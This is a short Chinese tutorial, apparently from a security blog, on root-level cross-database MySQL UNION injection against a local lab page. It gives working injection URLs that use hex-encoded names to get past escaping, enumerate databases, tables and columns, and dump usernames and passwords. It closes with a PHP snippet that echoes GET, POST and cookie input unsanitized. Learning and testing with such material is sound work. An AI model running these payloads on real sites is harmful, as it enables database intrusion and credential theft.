mysql注入(下)
高权限跨库注入
条件:root权限
获取所有数据库名
select schema_name from information_schema.schemata
被转义,利用十六进制转换
获取所有表名 table_schema=0x787373('xss')
http://192.168.207.128/test/sqlin.php?x=1 union select user(),2,3,table_name,5,6,7,8 from information_schema.tables where table_schema=0x787373
获取所有列名 table_name=0x6F635F75736572('oc_user')
http://192.168.207.128/test/sqlin.php?x=1 union select user(),2,3,column_name,5,6,7,8 from information_schema.columns where table_name=0x6F635F75736572
获取指定数据 from xss.oc_user
http://192.168.207.128/test/sqlin.php?x=1 union select userName,2,3,userPwd,5,6,7,8 from xss.oc_user
注意点:
跨库查表:库名.表名
- 提交方式注入
<?php $a=$_GET['x']; // 接受get请求方式的参数x $b=$_POST['y']; // 接受post请求方式的参数y $c=$_COOKIE['z']; // 接受cookie请求方式参数z echo $a."<hr>"; echo $b."<hr>"; echo $c."<hr>"; ?>
感谢您的来访,获取更多精彩文章请收藏本站。
© 版权声明
THE END
暂无评论内容